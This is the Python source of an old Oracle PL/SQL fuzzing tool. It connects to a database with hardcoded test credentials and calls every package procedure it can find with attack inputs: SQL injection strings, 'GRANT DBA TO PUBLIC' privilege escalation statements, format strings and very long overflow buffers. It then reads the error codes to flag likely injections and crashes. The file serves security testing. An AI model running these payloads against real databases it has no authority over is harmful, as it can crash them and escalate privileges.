./others/oraclefuz.py

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
#!/usr/bin/python
 
"""
Oracle Database PL/SQL Fuzzing Tool
 
Copyright (c) 2005, 2006 Joxean Koret, joxeankoret [at] yahoo.es
 
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; version 2
of the License.
 
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
 
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
"""
 
import sys
import cx_Oracle
 
global connection
 
funnydata = ("TEST", "SYS", "XMLREF", '" || XMLREF() || "', 'TEST" A A ', "'", '"', "A"*30, "A"*100, "A"*128,"A"*256,"A"*512,"A"*1024,
                        "A"*2048,"A"*3000,"A"*4000,"A"*5000,"A"*6000,"A"*7000,"A"*8000,"A"*10000,"A"*15000,"A"*20000,"A"*25000,
                        "A"*30000,"A"*32767, -1, -2, 0, 1, 2, 2147483647, -2147483647, 2147483648, -2147483648,
                        "ROWID", "PRIMARY KEY", "%s%s%s%s%s%s%s", "%x%x%x%x%x%x", "%d%d%d%d%d%d",
                        "GRANT DBA TO TEST", "GRANT DBA TO PUBLIC", "SELECT * FROM DBA_USERS",
                        "' OR '1'='1", "AA' or ""TEST"".""XMLREF"" ","V1", "TEST.V1", '"TEST"."V1"',
                        None)
 
def fuzzData(data, index):
    global connection
 
    for x in funnydata:
        try:
            if type(x) is int:
                print "Data is number",x
            else:
                print "Data is " + str(x)[0:30] + " of length " + str(len(str(x)))
 
            varList = []
 
            for var in range(index):
                varList.append(x)
 
            cur = connection.cursor()
            cur.execute(data, varList)
 
        except:
            error = str(sys.exc_info()[1])
 
            if error.upper().find("ORA-00933") > -1 or error.upper().find("ORA-01756:") > -1 or error.upper().find("ORA-00923:") > -1:
                print "*** POSSIBLE SQL INJECTION FOUND ***"
            elif error.upper().find("ORA-03113") > -1:
                if len(str(x)) > 50:
                    print "*** POSSIBLE BUFFER OVERFLOW ***"
                else:
                    print "*** INSTANCE CRASHED ***"
 
                print "Reconnecting ... "
                connect()
            elif error.upper().find("ORA-00600") > -1:
                print "*** INTERNAL ERROR ***"
            elif error.upper().find("PLS-00306:") > -1:
                print "Currently unfuzzable :("
                continue
            elif error.upper().find("ORA-03114") > -1:
                print "We are not connected :?"
                connect()
 
            print error
 
def connect():
    global connection
 
    link    = "test/test@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.10)(PORT=1521)))"
    link += "(CONNECT_DATA=(SERVICE_NAME=orcl)))"
 
    connection = cx_Oracle.connect(link)
    connection.rollback()
    connection.commit()
 
def isFunc(data, index, cursorData):
    global connection
 
    try:
        varList = []
 
        data = """BEGIN
       """+ data + """("""
 
        index = 0
        for x in cursorData:
            index += 1
 
            if index == 1:
                data += str(x[1]) + "=>:" + str(index)
            else:
                data += "," + str(x[1]) + "=>:" + str(index)
 
        data += """);
end;"""
 
        for var in range(index):
            varList.append(None)
 
        cur = connection.cursor()
        cur.execute(data, varList)
 
        return 0
    except:
        error = str(sys.exc_info()[1])
        if error.upper().find("PLS-00221")> -1:
            return 1
        else:
            return 0
 
def die(msg):
    print msg
    sys.exit(0)
 
def main():
    global connection
 
    fuzzPackages = """
 select distinct owner           "Owner",
       package_name    "Package",       
       package_name    "Package",       
       package_name    "Package",       
       object_name     "Program_Unit"
  from sys.all_arguments x
 where argument_name is not null
   and not exists (select 1 from sys.all_arguments y
                    where x.owner = y.owner
                      and x.package_name = y.owner
                      and x.object_name = y.object_name
                      and x.data_level = y.data_level
                      and y.data_type not in ('VARCHAR2', 'RAW', 'NCHAR', 'BINARY_INTEGER', 'BINARY_FLOAT',
                    'CHAR', 'NVARCHAR2', 'NUMBER', 'FLOAT', 'LONG RAW')
                      and rownum = 1)
  order by owner, package_name, object_name
        """
 
    packageProcedures = """
select position        "Position",
       argument_name   "Argument",
       data_type       "Data type",
       initcap(in_out) "In_Out",
       owner            sdev_link_owner,
       package_name     sdev_link_name,
       'PACKAGE'        sdev_link_type
  from sys.all_arguments
 where argument_name is not null
   and owner = :1
   and (:2 is null or 
        instr(upper(object_name),upper(:3)) > 0 or
        instr(upper(package_name),upper(:4)) > 0 )
   and object_name = :5
   and data_type in ('VARCHAR2', 'RAW', 'NCHAR', 'BINARY_INTEGER', 'BINARY_FLOAT',
                    'CHAR', 'NVARCHAR2', 'NUMBER', 'FLOAT', 'LONG RAW')
  order by owner, package_name, object_name, position
        """
 
    connect()
 
    bStart = False
 
    try:
        cursor = connection.cursor()
        cursor.execute(fuzzPackages)
        result = """
        BEGIN
        """
 
        pkgName = ""
 
        func = 0
 
        print "Running first query. It may take a long while ... "
        totalProcs = 0
 
        for pkgData in cursor.fetchall():
            totalProcs += 1
 
            if not pkgData[1] is None:
                pkgName = pkgData[0] + "." + pkgData[1] + "." + pkgData[4]
            else:
                pkgName = pkgData[0] + "." + pkgData[4]
 
            procCursor = connection.cursor()
            procCursor.execute(packageProcedures, pkgData)
 
            procCursorData = procCursor.fetchall()
 
            func = isFunc(pkgName, len(procCursorData), procCursorData)
 
            if int(func) == 0:
                data = """BEGIN
                """ + pkgName + """("""
            else:
                data = """SELECT """ + pkgName + """("""
 
            index = 0
            prevX = None
 
            for x in procCursorData:
                if x == prevX:
                    continue
 
                prevX = x
                index += 1
 
                if index == 1:
                    if func == 0:
                        data += str(x[1]) + "=>:" + str(index)
                    else:
                        data += ":" + str(index)
                else:
                    if func == 0:
                        data += "," + str(x[1]) + "=>:" + str(index)
                    else:
                        data += ", :" + str(index)
 
            if func == 0:
                data += """);
end;"""
            else:
                data += """) from dual """
 
            print "----------"
            print data
            print "----------"
 
            fuzzData(data, index)
 
        connection.close()
    except Exception, e:
        print "Error",e
        print "While fuzzing index",totalProcs,"relative to",pkgName
        raise e
 
    print 
    print "Fuzzed",totalProcs,"procedure(s) and function(s)."
    print "Done."
 
if __name__ == "__main__":
    main()
 

Back